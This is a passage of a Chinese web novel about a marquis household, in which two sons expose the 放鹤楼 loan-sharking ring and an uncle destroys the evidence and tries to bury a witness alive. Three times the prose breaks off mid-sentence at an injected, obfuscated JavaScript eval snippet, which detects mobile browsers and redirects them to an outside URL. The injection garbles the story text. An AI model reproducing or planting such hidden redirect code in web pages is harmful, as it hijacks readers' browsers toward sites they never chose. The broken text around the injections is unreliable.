“哥儿缠的线卷真整齐，你今天不温书，可以么？”容芝把线卷放入小筐里，看着游乘躲闪的眼睛。 游乘说，“乡试已经结束，放榜在十八天之后，儿子今日不温书，想与娘说说话。” “你说，娘听着，”容芝对游乘一向最有耐心，把面前的针线捡到一边，双手搭桌上，等游乘开口的模样。 游乘清了清嗓音，“娘今日没去书局，去的是千家胡同。” 容芝说，“我——” 游乘立刻摆手，眉头皱紧，“娘不用解释，您回来带的那把团扇，和上回我从千家胡同带的，款式一样。” 容芝垂下目光，“哥儿好聪明。” 游乘想听的却不是这个，他握住母亲的手，“娘给儿子一句实话，您和爹到底怎么回事？” 容芝一愣，笑道，“能怎么回事……我们十多年老夫老妻，难不成还像新婚时，天天腻歪，不怕人笑话哟！” “夫妻恩爱，谁会笑话？”游乘不容置疑道。 平时他不会用这样的口吻与容芝讲话。 容芝的手被游乘握疼，她尽量维持笑模样，“哥儿究竟想说什么呢？” 游乘听言松开了容芝，俯首跪下，“请母亲宽恕儿子冒犯！儿子想请母亲答应，不再见千家胡同的外男。” 容芝忙弯腰扶他，疑惑道：“此话，又从何说起？” 游乘不肯起身，再俯首，“儿子生活在爹娘身边十多年，是爹娘感情的旁观者，当然比外人看得更清楚。世人都说，感情再深都会被岁月磨没，一开始爱无疑的夫妻，走到两相厌的一天，只需短短十年么？娘，您真的舍得让爹承受怨气，真的不怕爹对这个家，对您死心，提出和离吗？” 容芝哑口，因为无法对游乘说出真心话。 她和游怜山早在十多年前就离了婚，这十多年，她愿意和游怜山住一个屋檐，是迫于无奈，从来不是出于她的本心。 也许偶尔，她不忍见游怜山对她委曲求全，偶尔生出怜惜之心，想稍微改变态度，稍微对游怜山好一点，但这种情绪波动，绝对不是想和前夫……旧情复燃。 绝对不是。 “由他提和离，更好，”容芝冷道，将针线筐拉了过来。 游乘眼眸微怔，摁住那只小筐，“娘！您不满意爹哪些地方，儿子提醒爹，让他改，还不行吗？” 容芝边摇头边笑，“我没有不满意他，他不用改，继续开开心心做他自己吧。” 又抱起针线筐，留下句“不必跟来”，一个人走进里屋。 中秋刚过，院中月色绮丽。 游乘坐在屋檐下，靠着木柱望那轮近圆的月亮，回想刚才母亲的冷漠神情，竟有些不寒而栗。 在他印象中，母亲总是慈爱的，和善的，容易亲近的，但今天的母亲给了他截然不同的感受，完全颠覆了他以往对母亲的认知。 爹娘之间有什么误会，难以解开？ 游乘正想着，肩上落下一只大手，仰头见是父亲游怜山，他起身行礼，“父亲忙完了。” 游怜山捏着鼻根，“今天看不完，明天再看呗。” 游乘勉强一笑，“父亲心态稳健，所言极是，儿子受教了。” “也没外人，你不用如此拘谨，咱们父子就轻松地聊一聊？” “不知父亲想聊什么？” 游怜山坐在刚才游乘坐的石阶上，“你也坐。” 游乘犹豫了会才照做，见游怜山递过来一个展开的纸包，里面是些干肉脯。 “辽东的鹿肉干，老贵了，一两银子只买这一包，”游怜山把纸包塞到游乘手里，从袖笼里掏出一只小陶罐，揭开盖子，酱香味四溢。 游乘仔细闻了闻，“是茱萸酱。” 游怜山拿起一根鹿肉条，蘸上满满的茱萸酱，“真没想到，世间还有如此美味！你也吃……” 游乘不像弟弟钟爱美食，他对吃食要求不高，能饱腹即可，日常饭桌上有什么吃什么，从不会费心鼓捣吃食。 此刻他咬一口父亲准备的肉条配酱，大赞“一绝”，说，“只稍逊炸蚱蜢。” “炸蚱蜢？”游怜山愣道，“京城有这个？” 游乘咽下肉沫，“父亲是京城人，定听过放鹤楼，前两年儿子与赵决出游，曾在那儿吃过。” 游怜山盖好了酱罐，一幅好奇的模样，“放鹤楼是干什么的？” “表面是戏园子。” “实际是？” “放印子钱的地方，且月利高达一钱五（15%）。” 游怜山沉默一瞬，了然道：“所以，乡试前那日，你才会找你娘问起放鹤楼？哥儿，如果你相信我，可以与我说说，你遇上这种事，怎么打算的。” 游乘双手交握，许久才说，“其实那天听父亲一席劝，我已深深明白，现在自己太弱小，面对不公，面对违法之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131846|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事，毫无解决办法，便决定放下此事，不多管了。可是……弟弟和受害人联系了，他俩单独见过面，估摸着，弟弟想为受害人伸张正义。” 游怜山一惊，“他和对方见面，是你亲眼所见？” 游乘点头，“对。我去刘府被拒门外后，立刻就跟上弟弟，一路尾随。他见过谁，做了什么，我全知道。” “具体呢？游余在计划什么。” “他要找京城商行，举报放鹤楼的印子钱生意。” 能从游乘的口中打听出这些话，实在不易。 游怜山把鹿肉和茱萸酱留给游乘，让他拿回南屋，也给游余尝一尝，“至于游余所谋，你密切盯着他……我想办法找户部，尽力推成这件事。” 游乘躬身，“等父亲的好消息。” 游怜山回到里屋时，容芝已经躺下。 事出紧急，游怜山只好点燃蜡烛，端到床前喊声“小芝”。 容芝撑坐起来，睡眼迷蒙。 游怜山顾不得多想，一屁股坐在床沿，身子却往后倒了下去。 “我都不习惯这种软床了，”游怜山坐正，忙放下烛台。 容芝顿了顿，拉他进帐子里来，“秋天还有最后一波蚊子，我不想被咬，你别动，老实呆着。” 游怜山道，“好吧。”他回身，把纹帐合拢，夹好。 “说正事。” “嗯，我得知了，游余想举报放鹤楼的印子钱生意，已经说服了受害人合作。” “我知道这些，我还知道，他向书局伙计打听了京城商行行首的家，明日就带受害人和证据，登门拜访。” “啊？这么急，他胆儿真大！” “两码事。眼下，劝是劝不住的。” “我同意，所以，刚才我与游乘说好，由他盯着游余，我尽快找秦尚书通个气，看能否从户部往下查。” “这法子行得通。游余这孩子第一次想办大事，你不能让他失败。” “我懂。” 次日清晨，游余早早离开了东园。 他在自家的不足斋里边看书，边坐等齐橡的到来，却直到过午，老周掌柜端来饭食问他饿不饿，他仍没见到齐橡的身影。 “难道又去赌了？” 游余摸不准齐橡，简单吃些饭菜，借了一套老周的便服，故意扯乱整齐的发髻，坐马车赶往千家胡同。 游余向路人打听齐橡，无果，直接去了放鹤楼找人。 一进店，熟悉的吆喝声传来，几个上次见过的彪汉围上来，他们盯着游余打量一圈，才慢慢走开。游余拉住其中一人，用银子探路，终是问到齐橡家。 甫一推门，一股难闻的腥臭扑面而来。 游余差点呕吐，捂住鼻子继续往里走，小声喊：“齐兄？” 无人回答。 屋里无光，黑不隆冬的。 游余定了定睛，将屋门大敞，借日光检查此处的情况。桌椅板凳、纸墨、衣物全在地上，他无法确定，那靠坐在角落里的人，是不是齐橡。 “齐兄……”游余走过去，光线愈发暗，腥臭愈发浓。 呼—— 眼前忽然一闪，一束烛火从游余的身后照亮了屋子。 39. 查“放鹤楼”（2） 游余回头看向屋门，“三伯？” “哥儿，别怕！”来人是刑部侍郎游怜钊，他摁着腰间的佩刀，举高烛台进了屋，顿时，整间屋子亮堂起来，“你朋友怎么样？”说着转入墙角。 游余跟上看清了墙角的齐橡。他满脸青紫，形容可怜，游余不敢动他的任何地方，怕造成更大伤害，只好轻声地喊“齐兄”。 齐橡的眼皮颤了下，应是还有口气在。 游怜钊一探他的鼻息，当机立断道，“先送去医馆。” 游余搀扶齐橡趴在三伯的背上，随着三伯从这小破屋出去，沿着巷子往外跑。 一架马车停在开阔的巷口，游怜钊背着人上去，让游余陪齐橡说话，便将马车赶动起来。 医馆不远，大夫替齐橡验伤的时候，游余和三伯站在门外等，三伯没问旁的，只叮嘱他，“下次再有类似的事儿，你直接上刑部衙门找我。一个人行动，勇气可嘉，但着实危险！” “不瞒三伯，刚才我还以为放鹤楼的人追来，要灭我的口……” “给他们一百个脑袋也不敢！” “是，他们不敢。三伯怎会来此？” “巡街的兵马司说，我余哥儿来了这，一开始，我只以为你考完乡试，想找地方玩玩，谁知就见……” 游怜钊打住话头，指了指屋里，“那人被打，因为招惹了放鹤楼？” 看来放鹤楼在刑部衙门，也是挂了号的。 游余点头，“三伯，既然您来了，我便代朋友向您告一状！千家胡同放鹤楼东家，周儒，私放高利印子钱，雇凶殴打借贷人！” “又是周儒……”游怜钊的刀柄在掌心摩挲，指尖泛白。 游余拉住三伯的胳臂，“请您一定彻查放鹤楼！” 游怜钊稍愣，目光转向他，“哥儿不要再管此事了。若你在乎朋友的命，帮他还上本金和利息，即可。” “还钱，我可以帮，可我想救的不止他一个！我已和他约好了，要拿上借据，向京城商行行首揭发，让放鹤楼不再祸害百姓，永远地消失。” 游怜钊弯唇一笑，“哥儿不了解周儒，那人不好惹。” 游余急道，“所以，您更应该抓住这次机会，将她和同伙，一网打尽！” 游怜钊歪了歪头，“听哥儿的意思，你对手上的证据有十足把握？是什么？” 游余捏起拳，“齐橡说，放鹤楼的借据写有明确月利，并没有含糊了事。依律，只要有那借据，放鹤楼的罪就坐实了。” 游怜钊伸过手，“借据呢？” 游余说，“在齐橡手上，我今儿来此，也是为了拿那张借据，但没想到放鹤楼的人先动了手，将他打成重伤。” 游怜钊拍他的肩，“事到如今，你该庆幸他还活着，在这个世道里，有时候人活着就不易了。” 屋门打开，大夫出来与游怜钊交代情况，说受的是鞭伤，全部在背部，另外，腿脚上也有数不清的旧伤，怕是长期挨打的结果。 游怜钊长叹，付了诊金，便扯住要进屋的游余，“他人没事，剩下的，交给刑部吧。哥儿快回家，别让你爹娘担心。” 游余奉上备好的三十两银票，“那放鹤楼之事，全权拜托给三伯了。” 游怜钊把他的手推回来，“这点钱，你三伯我出得起！” 有刑部的参与，齐橡的冤情必能得到伸张。 游余走出医馆，仰头看看天空飘动的云彩，顿觉心情舒畅了不少。 时辰尚早，游余去自家的不足斋逛一逛，补充一些日常的纸墨，又挑了两本尊师袁公的新文集，坐在二楼的窗前，沉浸地一页页看。 袁公总说，他的策论立意常常比哥哥的好，成文之后却比不了哥哥，若想在科考中取得好名次，需下苦功来加强。 睡着是无知无觉的。 入夜，秋风微凉。 游乘来到二楼，在游余肩上披了件厚衣，又将窗户撑杆放平，只留一条通风的小缝。 “大公子，”老周迟来一步，帮着收拾桌上的茶壶。 游乘笑道，“给您添麻烦，多谢您照顾他吃饭喝水。” 老周亦是笑，“不足挂齿的小事罢了。对了，今日二公子的朋友没来，他便去了朋友家中，再回来还是一人。但我瞧着，他心情还不错，大概见到了朋友，事情推进得很顺利。” 游乘不予置评，听老周退下，他安静坐到游余身边，等弟弟再睡会就叫醒一同回家。 今天，游乘跟了游余一路，所言所闻，骇人听闻。 需得好好整理。 彼时，当游余进齐橡的家，游乘看见三伯从马车上出来，脸色阴沉得很。随后，三伯的下属提到“周儒姑娘”，说她想约三伯叙旧。 周儒……正是乡试完那日弟弟口中念的人。 此女，和齐橡有关，和放鹤楼的印子钱有关，和他的三伯游怜钊有关，更和“李家”有关。 所以，三伯和“李家”有关。 游乘被自己的想法吓住。 平日里，他几乎见不到三伯，也摸不准三伯在朝局中的站位，但是今天，他看明白了，十之七八，三伯是李经章的人。 所以，齐橡的命和印子钱的借据，落到三伯手里，这事儿就算完了，而他天真浪漫的弟弟游余，对此，一无所知。 正复盘着，楼下有人喊着快点灯。 接着，老周和伙计从后门扶回个浑身是泥的男子。 游乘从二楼往下看，问老周，“是谁？” 老周犹豫了下，“……二公子的朋友。” 是齐橡。 游乘冲下楼，几人在地上铺了厚布，齐橡的脸被擦净了，仰面躺着，胸口似已经没了起伏，死了一般。 “他自己来的？”游乘蹲下，捡起他前襟的一块泥，捻开，很松软，像新翻的。 老周说，“是……他这样，该是被活埋了又爬出来的。” 游乘目光下移，落在齐橡紧握的拳头，想拨开他的手指让他放松些，却没成功，只得放弃。 “周伯，有劳您藏好齐橡，好生照料，我带弟弟回家，明日来和他谈一谈。” 老周应下。 游乘正要起身，胳膊被一只手抓住。 “大、公子……谢谢……” 游乘握住齐橡的手放回去，安抚道，“齐兄，介舟向你保证，你进了这儿的门，再没人能伤害到你了。” 齐橡虚弱地叹气，闭起眼，泪水顺着他的眼尾滑落。 游乘去二楼背上弟弟游余，送到马车里。 老周把游余的书拿来，游乘交代道，“相信您能看出来，齐橡的本性不坏，所以我有个不情之请，不知您愿不愿意帮一帮齐橡。” 老周忙点头，“愿意的，大公子只管开口。” “我想请您认下他做老家侄子，从今儿起，齐橡就管您叫‘大伯’。” 简单的口头认亲，还不够。 游乘拜托老周到顺天府的户房，把齐橡的户籍登记在自己名下，得到官方掩护。 如此一来，从前住千家胡同的穷士子齐橡，便真的死了，没了，要以周橡的名字活下去。 “那他的科举……”老周担忧道。 游乘站在马车边，眼底平静，“今晚有人要活埋了他，那人便不会容他考科举的。等他醒了，您自己问他，大约也是一样的答案。” 说完，他坐上马车，抓紧赶回司宁侯府。 回到东园，爹娘竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136803|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然在正堂里等。 游乘去南屋放下弟弟，来正堂对爹娘问安，容芝上前扶他，还没碰到他，他便往后退了半步。 容芝的手僵在半空，微怔，笑道，“哥儿长大了，连我都要避嫌了噢？” 游乘脸色稍白，看着不像避嫌，更像是害怕。 游怜山提醒容芝厨房还炖着甜汤，再不去要烧干了。 等容芝走出正堂，游怜山叫住准备回南屋的游乘，问起今天游余的动向。 发生太多事，游乘请父亲去自己小书房，关门详说。 游怜山得知齐橡差点被人活埋，嫌疑人很可能是三弟游怜钊，惊讶得半晌没说出话来。 “儿子不知三伯为何如此，但仔细一想，那李经章是三伯的岳父啊……好像，也没什么难于理解的。” 游怜山仍不敢信，眉间深皱，“不可能，这不可能。” 游乘也不强行说服，真相怎样，时间会说明一切。 “那你接下来打算如何？”游怜山问道。 游乘说，“不知父亲有没有向户部提起此事？” 游怜山道，“白天散朝时，我找户部尚书司属了，看他的态度，多半是早就知道放鹤楼与李经章的关系，但是他……惧怕李经章，不敢插手管。” 游乘说：“如能拿到印子钱借据，户部还是不敢管么？” 游怜山又是一怔，“……为了规避风险，印子钱借据一般会故意模糊月利，难不成放鹤楼胆大包天，敢在借据上写出具体数额？” 游乘肯定道，“我听到弟弟和齐橡的谈话，正因齐橡拿得出指认借据，弟弟才想帮他讨公道，但现在，那借据怕是被三伯搜走，毁掉了。” 游怜山想了想，“此事也好办，齐橡的没了，还可以找其他人，说服其他人出面作证。” 游乘道，“您分析得在理。再就是，您能不能找些别的案子，拖住三伯？有三伯这刑部侍郎在，不好办事。” 游怜山应道，“没问题！这回乡试，抓了好些考场拖延的，正愁没人帮忙彻查那些人的背景，我明日早朝奏一本，请皇帝指命你三伯负责此事。” 游乘躬身，“父亲妙计。” 夜已深，父子俩各自回屋就寝。 游乘翻来覆去，难以入眠，一闭眼就想到三伯将人推入深坑，大喊“活埋了他”…… 次日醒来，满身是冷汗。 游乘坐在床沿，忽听弟弟游余翻个身，咕哝着，“我怎么到家了？” “你昨晚睡在书局，是我带你回来的，”游乘扣好扣子，三两下挽好了发。 游余伸着懒腰起身，“这乡试也了，哥哥肯定是解元，却不知将来中了状元，哥哥想去六部的哪个啊？” “还没想好，也不是我想去就能去。” “也对，咱爹就是最好的例子。但我问的是，不论其他，你最钟情于哪个部？” 游乘漱完口，一一摆回原位，冷道：“刑部。” 游余笑了笑，“原来哥哥的榜样是三伯！” “三伯？”游乘诧异道，“我才不想学他，弟弟也要离三伯远点，因为三伯他，没安好心。” 事情说开，兄弟俩立刻赶去不足斋见到了齐橡。 说了许多感激之言，齐橡独独对一件事深感自责，那份关键的借据被抢走，被一把火烧了。 盛怒之下，游余抓起齐橡的衣领，“一个字也不许骗我！是我三伯烧了放鹤楼的借据，还想活埋你？” 齐橡慌忙地说，“二位对我恩重如山，如再世父母，我绝不敢欺骗二位。昨日二公子离开后，游怜钊马上变了脸，将我带去千家胡同后的荒山……他化成灰我也认得，抢借据的，要活埋我的，就是游家三爷，游怜钊。” 40. 三伯要的东西 司宁侯府，西园正堂。 容芝搂着三房弟妹李氏，轻轻拍抚她的后背，也担忧地看着游怜山。 “原来如此，”游怜山停住踱步，站在堂中央，放缓语调，对李氏道，“这么大的事儿，三弟妹你怎么不找你大嫂商量呢？” 容芝一听，忙接道，“对啊，我虽不像男人那样有大本事，这陪着你，帮你开导开导，还是可以的哟！” 李氏抬起一点头，泪眼婆娑，“我知道大嫂心善，两年前，如果没有大嫂和乘哥儿帮忙，我的编哥儿怕连自己名字都不会写……还论什么考武举？” 容芝抚她的面颊，“一家人嘛，说这些就见外了。再有，三弟想让编哥儿考武举，不是一年两年了，从编哥儿出生，三弟就存着这心愿。编哥儿如今跟着赵先生读书两年，性子开朗了，人活泛了，那三弟不满足，又提起‘武举’，其实，也是常情。” 李氏的泪又淌下来，“幸亏大嫂能理解三郎的心，我运薄，只给他生了这一个儿子，若三郎不能培养编哥儿成才，终究是他无法跨越的遗憾。大哥大嫂也为人父母，一定懂三郎心里的苦和急。” 但病急乱投医，也不行的。 游怜山思忖着，倒没直接把这话点出来，笑着问道：“那三郎有没有告诉弟妹，他在找谁帮忙解决此事？” 李氏缓缓摇头，“他没讲，我……也不好多问。” 容芝道，“没事，我们本来也干不了抛头露面的活儿！让他们男人去操心。”说着，她瞪了眼面前的游怜山。 游怜山拢着袖子，苦笑一记。 两房正说着话，听丫鬟从外疾走来，说，三爷回了。 李氏抬袖擦泪，没让容芝和游怜山回避，兀自迎出去，对行色匆忙的夫君游怜钊道，“三郎可是要取什么物件？” 屋檐下，游怜钊给大哥大嫂行礼，而后，大步到李氏跟前，低头看她，“怎么又在哭？因为编哥儿的事？” 李氏垂眸不语，被游怜钊揽过去，才委屈地靠近他，点点头，“三郎，编哥儿身子不壮，如果真找不到合适的武举老师……” 游怜钊捂了捂她的嘴，将她横抱，“这些事儿，你帮不上忙，也不必问，我已经找到人解决此事。” 说着他对游怜山、容芝颔首，“我先送她回屋，大哥大嫂稍候。” 容芝说，“三弟请自便。” 等游怜钊下去，容芝立刻扯游怜山的胳膊，低道，“三弟能否悬崖勒马，就看你这大哥的嘴皮子功夫了！” 游怜山冲她比了个ok，“定不负夫人之命。” 容芝松开他，“少嬉皮笑脸，如果你搞不定游怜钊，且不说我会鄙视你，你两个儿子也不会给你好眼色的。” 游怜山顿了顿，摆手道，“不不不！夫人太自信了，我保不准游余怎么想，但是游乘，他肯定不会嘲笑我。” 说起长子游乘，容芝不禁叹了气。 前日，母子俩聊到千家胡同的尔惑，游乘想劝她断绝和尔惑的来往，她既不能告诉游乘，尔惑对游家的意义，也无法答应游乘，放下前尘往事，和游怜山重归于好，最后不欢而散。 作为成熟的大人，她在孩子面前没控制好情绪，严重伤害游乘的心，造成了游乘的疏远和冷漠。 这不是好兆头！ 容芝想到此，一把扽住游怜山的手腕，“阿怜，我想好了，以后要对你好一点。” 游怜山说，“人前假恩爱嘛！十多年前刚来的时候，就说好了。” 容芝摇头，“不止是人前……游乘那孩子太聪明，简单的演戏，根本骗不住他。所以，我想真心对你好，把你当成……哥哥一般，孝敬你，爱戴你，怎样？” “哥哥？管端茶、倒水，洗脚么？” “端茶可以，洗脚，不行。” 游怜山的嘴角轻扯，“小芝，太委屈你了，但你这份心意，我听懂了。行！既然你都让了一步，我还有什么好讲？咱们装起来，从今儿起，你就是我异姓的妹妹。” 游怜钊走进正堂的时候，恰好看见大哥大嫂四目相对，深情对望。 他顿在原地，清清嗓子，“到晚膳了，留下来一起吃？” 容芝说，“乘哥儿、余哥儿等着，我们不好留下啊！过段日子，乡试放了榜，若孩子们名次不错，我亲自来请三弟、弟妹，去东园聚一聚。” 游怜钊拱手，“乘哥儿和余哥儿，勤奋好学，定能中举，三郎提前恭祝二人金榜题名。” 说罢，似是想起自家儿子游编，游怜钊沉下脸色。 游怜山上前，拉三弟坐下，凑近道，“听弟妹说，你还是想送编哥儿武举？” 游怜钊点一点头，脸色依旧沉着，“府上考科举的，已有乘哥儿和余哥儿，且他俩是名师之徒。编哥儿资质受限，不如走武举，或可闯出天地，为侯府添光彩。” 此话在理，游怜山比出个大拇指，“几个弟弟里，就数三弟的思虑最周全！不知，三弟相中哪位武举师父？” 游怜钊道，“具体人选，还没定好，不过是我自己想结识兵部尚书谢岗。西南剿匪，至今未完，是挑战，也是机遇。” “编哥儿才十一岁，三弟舍得送他去西南剿匪前线？” “男儿志在四方，只要谢尚书能收下编哥儿，我为什么不舍得？” “那弟妹也舍得？” “她一个妇人，更不该反对，更应该支持。” 几句来回，游怜山基本摸清了游怜钊的心思，却没急着许诺游怜钊什么。 兵部尚书谢岗如今还在西南，京城的宅子里，只有谢夫人一个女眷，游怜山不便出面结交，这事儿还得是容芝在中间周旋，想办法。 从三房西园出来，长房夫妻俩牵着手，慢慢穿过花厅，金菊和金桂的花香袭来，容芝回头看了看花枝，坐在了一旁的石桌边。 “乡试还有几日放榜？”容芝摘下一枝桂树，把小花一朵朵揪下来，放在桌上。 “十来天吧，”游怜山找出帕子，将她剥的金花包起来，藏入袖中，满身芳香。 容芝握着光秃秃的枝条，“结识夫人小姐，用房产生意，最合适。你希望我跑一趟千家胡同，但你也知道，游乘不愿意让我联系那边。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141941|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >游怜山犯难，“你不能去，我更不能去。” 回东园，南屋还亮着光。 容芝去厨房要来两碗桂花甜汤，请游怜山到南屋，夜里看书伤眼睛，他要劝孩子们白天再看。 这一席贴心的叮嘱，由游怜山转告给游乘、游余。 游余喝完了甜汤，收拾好书，准备沐浴睡觉，游乘却仍坐在案前，也没喝一口甜汤。 游怜山想了想，道，“乘哥儿，你生你母亲的气呢？” 游乘握笔的手一顿，“儿子不敢。” 游怜山夺下他的笔，“我看你就是生气了！原本，你母亲还想请你帮个忙，这下我也不好开口了。” 游乘看游怜山，忧心道：“父亲，母亲遇上什么难事？” 游怜山拍自己的脑门，“不是大事……她，想让你替她跑一趟千家胡同的房牙行。” 一听这话，游乘的眼睛亮起来，“母亲真这样想？她不去，让儿子替她去？” 游怜山说，“对。” 父子俩压低声音，简略交谈了具体打听的事。 末了，游乘终是惊讶，又抱歉，他母亲频繁出入千家胡同，和尔惑先生接触，并非有不可告人的私情，而是为了做房牙生意，多赚点银子。尔惑先生只是他母亲的老板，仅此而已。 游乘深感自责，请游怜山代为转达母亲。 先前种种不快，是他不明事理，牵强附会，闹出大误会。 “那你还生她气么？”游怜山离开南屋前，问游乘。 游乘躬身，“不敢，也不该。” 游怜山扶他起身，意味深长道，“这次多亏了你！为父要谢谢你。” 游乘皱眉，“那父亲和母亲的心结化开了？” 游怜山笑了笑，“也只化了一小丢丢！唉，任重道远，慢慢来，我不着急。” 次日游乘到千家胡同的房牙行，没看见尔惑先生，也没看见命生，只有个伙计招待他茶水，交给他一只食盒，内有桂花酥和一把画了画的团扇。 “要买卖的宅子，就是这扇面上的画？”游乘问道。 伙计点头，“大公子谅解，其余的不便多讲，等令慈见了这团扇，会明白的。” 团扇上的宅子，只有三进大小，按市价估算，不过一千两，再折算成牙人的佣金，最多十两。母亲和尔惑之间的生意往来，既辛苦，又要承受世俗的偏见，也赚不了很多银子。 游乘正想着，被伙计塞了张银票，拿起一看，“三百两？” 伙计抬手，冲店外做个请，“大公子，请回吧。” 离开房牙行前，游乘仰头看它的招牌，不由更讶异。 店招牌上的谷之二字，与他母亲的名字隐隐呼应。 只怕这些团扇上的房牙生意，也就不是什么简单的生意了。 东园门前，容芝见游乘回来，笑着迎道，“一路辛苦，阿桔备了梨膏茶，在正堂里。” 游乘把食盒递给她，却没完全松手。 二人拉扯几下，游乘最终松了手，递上那张三百两的银票，问道，“娘，您在帮尔惑做什么勾当？” 41. 拉拢兵部、户部 “哥儿以为，为娘在官眷中间周旋，是什么容易的事？” 容芝早想好说辞，半点也没慌。 像游乘这类走心的孩子，只要她向他诉苦，十之七八能打消了他对她的任何怀疑。 见游乘垂下脑袋，若有懊悔，容芝乘胜追击，将他带来的三百两银票推给他，“乡试放榜还有十日，这钱你拿着，想带弟弟去哪散心，只管去吧。” 游乘兴致低迷，“我不能收，母亲给的钱够用了。至于想去散心的地方，我暂时没有。数日见不到子应，赵决最近也忙得没影，外出的话，我最多到袁公府上，陪老师下几盘棋，也花不到钱。” “那就给袁公和袁夫人买些礼物！你在他府上读书十三年，人家没收咱一个铜板呢，”容芝帮他把银票塞入袖袋，拍着他的手背，就此说定。 游乘红着眼眶，躬身道，“母亲在外奔忙，甚是费心，儿子感激您，往后再不会胡乱疑心！” 容芝笑道，“我怎么不懂得你的心？你已经十六，冒险出言顶撞我，是怕我对不起你爹，怕这个家要散。这就说明，你把我和你爹真正当做了家人。若换个人，如果我是二房周氏，你会在意吗？” 游乘闻言微怔，“周氏怎能和娘比？她从没给过我一点关心，娘却照顾了我十三年。” 容芝点头，笑道，“你自己看，哥儿多明辨是非！娘自己问心无愧，便不怕被哥儿疑心，因为总有一天，你会看到事情的真相。” 游乘眉头松开了，再一躬身，“谢谢娘为儿子指点迷津。” 等他离开屋子，容芝忙捂着狂跳不止的心脏。 这孩子不愧为主角，心思缜密得可怕，若非容芝看过原著，了解他的为人处事特点，迟早会露出马脚，给他看出所有的秘密。 出发去兵部尚书谢岗家之前，容芝特意去南屋交代了行程，说自己不在家用午膳。 游余在写自己的文章，没多问，但游乘心密，显得欲言又止。容芝干脆道出实话，说要去见兵部尚书谢岗的夫人。 “怎么？这是三伯提的要求？” 游余立刻反应道，他放了笔，走到容芝面前，“三伯料理放鹤楼的后事儿，就为了让李家帮忙引荐兵部尚书？” 孩子们的年纪已不算小，都考着科举，早晚会接触真正的朝局。 若有机会，容芝很乐意帮他俩演练演练，“可不是么？你三伯是死心眼，办事可靠，看事却不长远。他以为，帮李家拦下了放鹤楼的罪事，李家会善待他，实则，是不可能的。李经章是多精明的人，他最擅长的就是过河拆桥，先下手为强。这京城里，多少讨好他的官吏，最后死在他的算计里！” 对此，游乘游余忙不迭点头，“现在一看，那赵家的哥哥赵斯，一开始也被李经章灌过迷魂汤。” 死者为大，容芝不予品评，只说，“放鹤楼的案子，你俩放心，定会拿到一个公道。” 游乘和游余彼此看了一眼，“早知娘和爹是这样的态度，我们也不用辛苦瞒着，辛苦演戏。” 容芝摸摸俩孩子的头发，“你们有戒备，也因为没达成完全的信任嘛。” 眼下，齐橡的借据被烧，需尽快联系千家胡同的其他借贷人，看能否拿到别的有明确月利的借据，作为揭发证物。 这件事，紧急，重要，容芝交代给游乘和游余，母子三人分头行动。 容芝走出东园，瞧着从千家胡同取回的团扇扇柄，知道里面藏有尔惑写的纸条。 上马车，她取出纸条，见尔惑用苍头大小的字，写出了兵部尚书谢家买宅的始末，皆因谢夫人的幺弟弟沈越从西南回了京。 容芝在原著中读到过，这位沈越是将门之后，是西南剿匪的名将，不到三十岁，已在前线厮杀了十多年。 此次沈越回京，一是替姐夫谢岗报平安，二是与多年不见的姐姐相认。 谢夫人得知沈越还没娶妻成家，便想先为沈越购置一座宅子。要求不高，三进大小即可，但最近京城中正当乡试，房牙行都忙于应付考生，就算表面上答应帮谢夫人留意合适的宅子，实际上是抽不出精力的。 谢家买宅的事儿拖了十来天，谢夫人眼看弟弟沈越快要离京回去西南，承诺要买的宅子还没着落。她做姐姐的，面羞是一回事，也是诚心诚意想为弟弟买到心仪的宅子，营造一个温暖的家，让沈越在京城有所记挂，来年才可能再回来看望她。 容芝的马车在谢府门前停下，陪同来的阿桔上前叫门，她便抓紧回忆了遍原著中有关谢家的介绍。 原来谢夫人为谢府生下三个儿子，都阵亡在西南，其中最惨的是两年前被悍匪砍了头的小儿子，才二十岁。当时，谢岗得知小儿子的死讯，立刻带着二十万军饷，亲自前往西南，势要大破悍匪，但是两年过去，谢岗仍在苦战中，无心也无力回京城。 正想着，谢府的门开了。 应门的管家问明了容芝的身份和来历，虽疑惑于堂堂侯府的长媳居然为房牙行奔走，却还是领着容芝去正堂，以好茶伺候。 没一会，谢夫人由丫鬟扶出来。 她五十岁的年纪，头发几乎全白，看着比自家婆母邓氏老了不少，这辈子应是操心的命。 容芝让阿桔送上几盒野生人参，问起谢夫人的弟弟沈越，是否也在府上。 谢夫人明显一愣，目光立刻警觉起来，“容小君来府上，也是为了结识沈越？可管家说，你有房牙生意与我谈。” 容芝一笑，拿出团扇放在谢夫人的面前，“还请夫人品鉴，若您觉得合适，价钱方面都好商量。” 谢夫人却不看团扇，只盯着容芝，“这宅子是秦家七郎的，你与秦家很熟？” 